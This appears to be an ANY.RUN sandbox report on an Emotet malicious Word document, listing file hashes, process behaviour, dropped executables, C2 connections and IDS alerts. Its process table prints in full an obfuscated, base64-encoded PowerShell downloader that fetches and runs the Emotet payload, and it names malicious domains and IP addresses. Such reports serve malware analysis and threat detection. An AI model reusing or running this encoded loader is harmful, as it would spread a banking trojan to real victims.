analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
download:

201903

Full analysis: https://app.any.run/tasks/4ff0f044-6587-4f68-b6b2-88efad56d466
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: March 14, 2019, 06:56:50
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
emotet
trojan
feodo
emotet-doc
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Mar 13 20:55:00 2019, Last Saved Time/Date: Wed Mar 13 20:55:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 5, Security: 0
MD5:

FCC953AE9ABC93FA28C65D4583448B28

SHA1:

A4383DA827CC548A57F37275F68F134195FEF5A5

SHA256:

459397A134B2B4A201C2855BBB2ED4D1EEDA9CC7637D7C65201E0A78217A8780

SSDEEP:

6144:A77HUUUUUUUUUUUUUUUUUUUT52VSJPCt3AdjZwOZ6:A77HUUUUUUUUUUUUUUUUUUUTCiZZ6

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 100.exe (PID: 3024)
      • wabmetagen.exe (PID: 3508)
      • wabmetagen.exe (PID: 2404)
      • 100.exe (PID: 2216)
      • Bx2pDxVJi.exe (PID: 3604)
      • Bx2pDxVJi.exe (PID: 2556)
      • wabmetagen.exe (PID: 2176)
      • wabmetagen.exe (PID: 2908)

    • Emotet process was detected

      • wabmetagen.exe (PID: 3508)
      • wabmetagen.exe (PID: 2176)

    • Connects to CnC server

      • wabmetagen.exe (PID: 2404)

    • EMOTET was detected

      • wabmetagen.exe (PID: 2404)

    • Changes the autorun value in the registry

      • wabmetagen.exe (PID: 2404)

  • SUSPICIOUS

    • Application launched itself

      • 100.exe (PID: 3024)
      • wabmetagen.exe (PID: 3508)
      • Bx2pDxVJi.exe (PID: 3604)
      • wabmetagen.exe (PID: 2176)

    • Creates files in the user directory

      • powershell.exe (PID: 2968)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2968)
      • 100.exe (PID: 2216)
      • wabmetagen.exe (PID: 2404)
      • Bx2pDxVJi.exe (PID: 2556)

    • Starts itself from another location

      • 100.exe (PID: 2216)
      • Bx2pDxVJi.exe (PID: 2556)

    • Connects to unusual port

      • wabmetagen.exe (PID: 2404)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3000)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3000)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserType: Microsoft Word 97-2003 Document
CompObjUserTypeLen: 32
HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: 5
Paragraphs: 1
Lines: 1
Company: -
CodePage: Windows Latin 1 (Western European)
Security: None
Characters: 5
Words: -
Pages: 1
ModifyDate: 2019:03:13 20:55:00
CreateDate: 2019:03:13 20:55:00
TotalEditTime: -
Software: Microsoft Office Word
RevisionNumber: 1
LastModifiedBy: -
Template: Normal.dotm
Comments: -
Keywords: -
Author: -
Subject: -
Title: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
10
Malicious processes
8
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start drop and start drop and start winword.exe no specs powershell.exe 100.exe no specs 100.exe #EMOTET wabmetagen.exe no specs #EMOTET wabmetagen.exe bx2pdxvji.exe no specs bx2pdxvji.exe #EMOTET wabmetagen.exe no specs wabmetagen.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3000"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\201903.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2968powershell -e IAAuACAAKAAoAGcAZQBUAC0AdgBBAFIAaQBBAEIAbABFACAAKAAnACoAbQBkACcAKwAnAFIAKgAnACkAKQAuAG4AYQBNAEUAWwAzACwAMQAxACwAMgBdAC0AagBvAGkAbgAnACcAKQAoACAAbgBFAFcALQBvAGIAagBlAEMAdAAgAHMAWQBTAFQARQBNAC4ASQBvAC4AcwB0AFIAZQBBAE0AcgBFAGEAZABlAHIAKAAoACAAbgBFAFcALQBvAGIAagBlAEMAdAAgACAAaQBPAC4AYwBPAE0AUAByAGUAcwBTAEkAbwBOAC4AZABlAGYAbABBAHQAZQBzAFQAcgBlAEEAbQAoAFsAUwBZAFMAVABFAG0ALgBJAG8ALgBNAEUAbQBvAHIAWQBTAFQAcgBFAEEAbQBdAFsAcwBZAHMAdABFAG0ALgBDAG8ATgBWAGUAcgB0AF0AOgA6AEYAcgBvAE0AYgBhAHMAZQA2ADQAUwBUAHIAaQBuAEcAKAAgACgAJwBYACcAKwAnAFoAJwArACcARgBSACcAKwAnAGIAJwArACcANQBzAHcARgBJACcAKwAnAFgALwBpAGgAJwArACcAKwBRAG4AQwAnACsAJwBnACcAKwAnAEwAJwArACcAaABEAGEAJwArACcAZAB0AGkASwAnACsAJwBrADMAbwBCAEcAJwArACcAMAAzAFMAVAAyACcAKwAnAGcAZwAnACsAJwB0AHEAaQAnACsAJwBaAFYAagAnACsAJwByAGsAQgBGADcAJwArACcAQQBSAE8ATwBBADEAeQBuACcAKwAnACsAJwArACcAZgBsADcAWABMACcAKwAnAE4AJwArACcATAAvACcAKwAnADQAMgB2AHAAOAA3ACcAKwAnAHIAbgBIAFQAdgAnACsAJwBJAEEAJwArACcAQQAnACsAJwBHAGwAJwArACcASQBVADQAZwAnACsAJwBUACcAKwAnAFcAJwArACcAOQBIACcAKwAnAEEASwBSADgAMgAnACsAJwA4ACcAKwAnAFEAQwAnACsAJwBoAHgARwBHACcAKwAnAHEAdAAnACsAJwBpAC8ASQBOAGYAJwArACcAbQAnACsAJwBHADIAdgAyAE8AJwArACcAMgAnACsAJwA2AGcAUwBLAEgAWAAnACsAJwBnAE0AJwArACcARQBqAEEAdwBGAE4ASQAnACsAJwBDADYAMgAnACsAJwBiACcAKwAnADcAJwArACcAdAByAHoAQgAnACsAJwB0AHkAeQAnACsAJwBpAGsAbQBXAEMAWgBlACcAKwAnAHIAMgAnACsAJwB0AHQAZgAnACsAJwA1ACcAKwAnAE8AcAAnACsAJwBLACcAKwAnAHoATAAzAGIAcAAnACsAJwBiAHEANwA5AEcANwBlAHEAUQBKACcAKwAnAGIAbwBWAG0ATwBOACcAKwAnAGIAJwArACcATwA3AHEATABIAEQAJwArACcAdABoAGMAJwArACcAYwB1ADkAJwArACcATwBiAG8AZgAnACsAJwBHAGEAMQAnACsAJwBXAHIAJwArACcAOQArAFkAeABiADAAYQAnACsAJwA1AEIAJwArACcAegBEAFQAeQAnACsAJwA0ACcAKwAnAG8AUQBJACcAKwAnAHYAJwArACcAeQAnACsAJwB4AG4AUgBuAGgAVgBmADMAJwArACcARwBtAG0AcABmAHkAVQBzAGgATQA2AFoAWQAnACsAJwBKAEsAJwArACcAVwBSACcAKwAnACsASQBqAHUAVQBtAFoARAAnACsAJwBjADYAKwBQAEgAMQB6ACcAKwAnACsAbwAnACsAJwBKAGYAJwArACcAVwAnACsAJwArAEwAVwB2ACcAKwAnAE0AJwArACcAbQBTAHQAUgAyADMAWgBUAHIAcQBTADIANAAzAGkAZgBHAHYAWABSAG8AJwArACcAKwA2ADYAcQBZACcAKwAnAFEAZQAwACcAKwAnAFIAcwA2ACcAKwAnAEQAcAB4AGIAVQBDACcAKwAnAFoAVwBJAFkAWABGAFkARAAnACsAJwBhAG4AVABDAEoAJwArACcAZQArAGkAJwArACcAWQBsAEkAYQBIACsAYgAnACsAJwBHAGIAUABlAG8AJwArACcAZwAnACsAJwBpACcAKwAnAEEARAArAGsAQQA4AEEAJwArACcAYwB3AEMAaAA3AGQAKwA4AC8AJwArACcAMgB3ACcAKwAnAEIATABQACcAKwAnADMAUgAnACsAJwBRACcAKwAnADkAJwArACcAdABkADcAJwArACcATwAxACcAKwAnADcAVAAnACsAJwBxAHAAMgBvAGMARQBKAC8AMABNAG0AJwArACcAYgB4AEkAUwA2ACcAKwAnAGEAJwArACcASgBBAEcAJwArACcATwAnACsAJwA5AFUAaQA0ADgAWABJAFcAYwBFACcAKwAnAHoAeABBAHEAQQBDACcAKwAnAEUAbgBlAGsAJwArACcAeAAnACsAJwAwAGYAJwArACcAZABQAHYAJwArACcAegA4AFAAWQBSACcAKwAnAGIAcQAnACsAJwB3AEcAVwBTACcAKwAnAG0AVwBmACcAKwAnAGIARgBTAFoALwA0ACcAKwAnAEQAJwArACcAKwBkACcAKwAnAHYAUQBPAG4ANAAxACcAKwAnAG8AQgBKACcAKwAnAFkAJwArACcASgBDAEYAOQBUAEIAZgBsAGIAJwArACcAOAB2AEwASABSAG0ATgBFACcAKwAnAHQAVAAnACsAJwBUAHAAJwArACcAYwBiADYASAAnACsAJwA5AGEAJwArACcAdABVAE8AYQA2AEkATgBNAGMAJwArACcAeQBYAHgAbQAxACcAKwAnADUAZwBjAGwAJwArACcAcgBKAFgASgBmADUASAAnACsAJwBCAHMANAAnACsAJwBkAHQANABXACcAKwAnAEoAUQB2ACcAKwAnAG8AVgAwAGcAJwArACcAMwB3AGoAJwArACcAYQAnACsAJwBIAEIAMQByAG8AdQAnACsAJwBnACsATwBSAE0AJwArACcAOAAyAEwAdwAvAEgAbwByAEgAMQA0AFcAdgBDAFEAMwBxAGMAbQBHAFMAJwArACcAQwAnACsAJwBoAHcAUwAnACsAJwA4AD0AJwApACAAKQAgACwAWwBzAFkAUwB0AGUATQAuAGkATwAuAGMAbwBtAFAAUgBFAFMAcwBpAG8AbgAuAGMAbwBtAHAAcgBFAFMAcwBJAG8ATgBtAG8ARABFAF0AOgA6AEQAZQBjAG8AbQBQAFIAZQBzAFMAIAApACAAKQAgACwAIABbAFQARQBYAFQALgBlAE4AYwBvAEQAaQBuAGcAXQA6ADoAQQBzAEMASQBJACkAKQAuAFIARQBBAGQAdABPAEUAbgBEACgAKQA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3024"C:\Users\admin\100.exe" C:\Users\admin\100.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
IIS Manager
Exit code:
0
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
2216"C:\Users\admin\100.exe"C:\Users\admin\100.exe
100.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
IIS Manager
Exit code:
0
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
3508"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe
100.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
IIS Manager
Exit code:
0
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
2404"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe
wabmetagen.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
IIS Manager
Exit code:
0
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
3604"C:\Users\admin\AppData\Local\wabmetagen\Bx2pDxVJi.exe"C:\Users\admin\AppData\Local\wabmetagen\Bx2pDxVJi.exe—wabmetagen.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
IIS Manager
Exit code:
0
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
2556"C:\Users\admin\AppData\Local\wabmetagen\Bx2pDxVJi.exe"C:\Users\admin\AppData\Local\wabmetagen\Bx2pDxVJi.exe
Bx2pDxVJi.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
IIS Manager
Exit code:
0
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
2176"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe
Bx2pDxVJi.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
IIS Manager
Exit code:
0
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
2908"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe—wabmetagen.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
IIS Manager
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
Total events
1 723
Read events
1 299
Write events
0
Delete events
0

Modification events

No data
Executable files
4
Suspicious files
2
Text files
0
Unknown types
2

Dropped files

PID
Process
Filename
Type
3000WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRE38E.tmp.cvr —
MD5:—
SHA256:—
2968powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FEXDHD30J1CV089OHJW9.temp —
MD5:—
SHA256:—
3000WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$201903.docpgc
MD5:EF3FF5BB64FDDFAD945A867E096F7289
SHA256:C673A7C75C5B88BE4A49EF9AC71627AEAB1AC446D8243F194F1358A95D16842D
2968powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF20eca6.TMPbinary
MD5:2BCAD5DA21CB41B727ABDE7D6B6990B8
SHA256:AB1397E3A31059329829AE2164787589945B1459ED2E1B7328E86ED497A6F9F3
2968powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:2BCAD5DA21CB41B727ABDE7D6B6990B8
SHA256:AB1397E3A31059329829AE2164787589945B1459ED2E1B7328E86ED497A6F9F3
3000WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:80FF86DAC76F41990EC221F8645C8BB0
SHA256:24502A90A58581D125E7DB1DFA2ADB4113CD4073F2D98A5472087BB9A71D331C
2216100.exeC:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exeexecutable
MD5:606FE2242C0C93573795739D4930F0DA
SHA256:71EFE23EE77FC2914D4131593F4E7A2CAC1EF047E5F3BC1BFF7721F7D98343D2
2404wabmetagen.exeC:\Users\admin\AppData\Local\wabmetagen\Bx2pDxVJi.exeexecutable
MD5:8F6E02728AFC26217600A7AC9E2DC655
SHA256:9A077B9E0C7B01350684FFD0687723D9DA6912A8C932A4BB513931EA7FE50E2A
2968powershell.exeC:\Users\admin\100.exeexecutable
MD5:606FE2242C0C93573795739D4930F0DA
SHA256:71EFE23EE77FC2914D4131593F4E7A2CAC1EF047E5F3BC1BFF7721F7D98343D2
2556Bx2pDxVJi.exeC:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exeexecutable
MD5:8F6E02728AFC26217600A7AC9E2DC655
SHA256:9A077B9E0C7B01350684FFD0687723D9DA6912A8C932A4BB513931EA7FE50E2A
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
5
DNS requests
3
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2404
wabmetagen.exe
GET
—
181.198.203.150:443
http://181.198.203.150:443/
EC
—
—
malicious
2404
wabmetagen.exe
GET
200
152.171.65.137:8090
http://152.171.65.137:8090/
AR
binary
183 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2404
wabmetagen.exe
152.171.65.137:8090
—
CABLEVISION S.A.
AR
malicious
2968
powershell.exe
204.152.208.130:443
webspeedtech.com
QuadraNet, Inc
US
suspicious
2968
powershell.exe
185.93.71.204:443
webalanadi.com
Dgn Teknoloji A.s.
TR
malicious
2404
wabmetagen.exe
181.198.203.150:443
—
Telconet S.A
EC
malicious

DNS requests

Domain
IP
Reputation
webalanadi.com
  • 185.93.71.204
malicious
heritagemaritimeservices.com
  • —
unknown
webspeedtech.com
  • 204.152.208.130
unknown

Threats

PID
Process
Class
Message
2968
powershell.exe
Generic Protocol Command Decode
SURICATA TLS invalid record type
2968
powershell.exe
Generic Protocol Command Decode
SURICATA TLS invalid record/traffic
2968
powershell.exe
Generic Protocol Command Decode
SURICATA TLS invalid record type
2968
powershell.exe
Generic Protocol Command Decode
SURICATA TLS invalid record/traffic
2968
powershell.exe
Generic Protocol Command Decode
SURICATA TLS invalid record type
2968
powershell.exe
Generic Protocol Command Decode
SURICATA TLS invalid record/traffic
2968
powershell.exe
Generic Protocol Command Decode
SURICATA TLS invalid record type
2968
powershell.exe
Generic Protocol Command Decode
SURICATA TLS invalid record/traffic
2404
wabmetagen.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo HTTP request
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
201903